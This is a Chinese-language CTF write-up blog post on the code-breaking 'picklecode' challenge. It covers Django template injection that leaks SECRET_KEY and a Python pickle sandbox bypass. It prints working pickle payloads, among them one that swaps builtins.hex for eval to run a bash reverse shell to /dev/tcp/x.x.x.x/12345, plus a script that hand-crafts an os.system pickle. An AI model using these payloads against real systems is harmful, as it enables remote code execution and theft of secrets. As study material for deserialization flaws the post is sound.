从picklecode中学习python反序列化

python真是so hard
题目链接: https://code-breaking.com/puzzle/8/

SSTI

@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))

这里面是存在模板注入的,以前从P师傅博客学习

思路就是: 找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息

{{ request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY }}

session反序列化 + 绕过沙盒

看到settings.py文件中session的设置是PickleSerializer

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

但是反序列化是做了黑名单

import builtins
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

一般我们都是利用__reduce__函数进行构造

class Run(object):
    def __reduce__(self):
        return (os.system, ("id",))
print(PickleSerializer().dumps(Run()))

Result:
b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'

这里面有一个问题就是,当你变化payload去绕过沙盒的时候,会进行以下类似的编写

builtins.globals()['__builtins__'].getattr(os, "system")

但是最终反序列化后的结果却依旧还是,因为这个是最根本的执行b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'

所以这里我们必须的进行自己构写poc,这里有一个工具内置了一些exp:anapickle,但是这个是python2写的,里面最主要的是利用了__builtin__中这四个函数globals, getattr, dict, apply,这里面牵涉到一个问题就是apply在Python3是废除的,它类似反射,可以调用任意的函数

认识反序列化数据

要想自己写poc,可以先看看2011 blackhat这个议题

在目前的python3代码(/lib/python3.6/pickle.py:101)中可以看到,它总共是有4个版本,并且存在兼容性.

以下面反序列化数据为例,在python2.7下,这个是(Protocol 0版本):

python代码:
__builtin__.globals()
__builtin__.eval('__import__("os").system("id")')

反序列化数据:
c__builtin__\nglobals\n(tRp100\n0c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.

/lib/python3.6/pickle.py文件中可以得到以下一些信息(来自referer中的文章,也增加了自己的一些)

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
): 压入一个空tuple
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
I:压入数字型数据到堆栈 
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
0: POP出栈
p<memo>\n:保存栈顶到内存,
g<memo>\n: 从内存中读取数据并push到栈顶
.:结束pickle。

当然还有更多数据,具体可以看blackhat的ppt:

回到上面的例子当中

c__builtin__\nglobals\n(tRp100\n0c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.

第一部分: c__builtin__\nglobals\n(tRp100\n0
1、c就是调用了self.find_class(modname, name);函数,然后寻找到了__builtin__.globals
2、(就是做一个标记,这时候会将后面的数据作为参数
3、t就是从前面的栈构建出一个元祖出来作为参数
4、R这个便是把前面的__builtin__.globals,然后以上面元祖作为参数执行
5、p100将这个结果保存到内存中,方便后面如果要读取的话,可以使用g100作为函数的参数
6、0 pop出栈

第二部分: c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.
第二部分很多地方与上面相似,但是不同的便是上面调用的函数是无参数的,这里eval函数调用,首先是使用了S来表示下面是一个string

Bypass 沙盒

方法一

通过setattrbuiltins.hex替换为builtins.eval,然后调用builtins.hex即可执行代码

cbuiltins
__setattr__
(S'hex'
cbuiltins
__getattribute__
(S'eval'
tRtRcbuiltins
hex
(S'__import__("os").system("bash -c \\\\"bash -i >& /dev/tcp/x.x.x.x/12345 0<&1 2>&1\\\\"")'
tR.

方法二

通过getattr获取到builtins的eval

Protocol 3+的反序列数据认识

python后面都是对数据表达更为精准:

\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.

1、\x80\x04\x95,80是协议的意思,04则表示为这是4版本,95则类似一个框架,下面的当面都是在这个框架中
2、\x1d\x00\x00\x00\x00\x00\x00\x00,进行了对整个序列化数据的长度进行了表示,也就是\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.的长度
3、\x8c\x05posix表示为压栈一个short string,其中长度为5位
4、x94\x93,94是表示存储栈顶到内存
5、\x94\x8c\x02id,压入字符串参数id
6、\x94\x85\x94R,85表示从栈顶构建1个参数为元祖,另外86、87则分别表示2个、3个参数,然后使用R进行函数调用

构写os.system("whoami")的poc

from struct import pack
import sys

flag = {
    "h" : b"\x80\x04\x95",  # protocol 4 version
    "s" : b"\x8c", # push short string; UTF-8 length < 256 bytes
    "x" : b"\x94", # store top of the stack in memo
    "(" : b"\x93", # same as GLOBAL but using names on the stacks
    ")" : b"\x85", # build 1-tuple from stack top
    "))" : ")", # push empty tuple
    "r" : "R", # apply callable to argtuple, both on stack
    "i" : "K", # push 1-byte unsigned int
    "ii" : "M" # push 2-byte unsigned int
}

# b'\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

# os.system("whoami")
str_ = '''posix
system
(
whoami
)'''.split("\n")
#print str_

f = ""
# os
f += pack("<s", flag['s'])
f += pack("<b", len(str_[0]))
f += str_[0]

# .
f += pack("<ss", flag['x'], flag['s'])

# system
f += pack("<b", len(str_[1]))
f += str_[1]

f += pack("<ss", flag['x'], flag['('])

# whoami
f += pack("<ss", flag['x'], flag['s'])
f += pack("<b",len(str_[3]))
f += str_[3]

# end
f += pack("<ss", flag['x'], b"\x85")
f += pack("<ss", flag['x'], flag['r'])
f += pack("<ss", flag['x'], ".") 

# begin
buf = ''
buf += pack("<3s", flag['h'])  # head
buf += pack("<i4x", len(f)) # str len
buf += f

sys.stdout.write(repr(buf))

referer

Python反序列化漏洞的花式利用

posted @ 2018-11-29 22:01 l3m0n 阅读(...) 评论(...)  编辑 收藏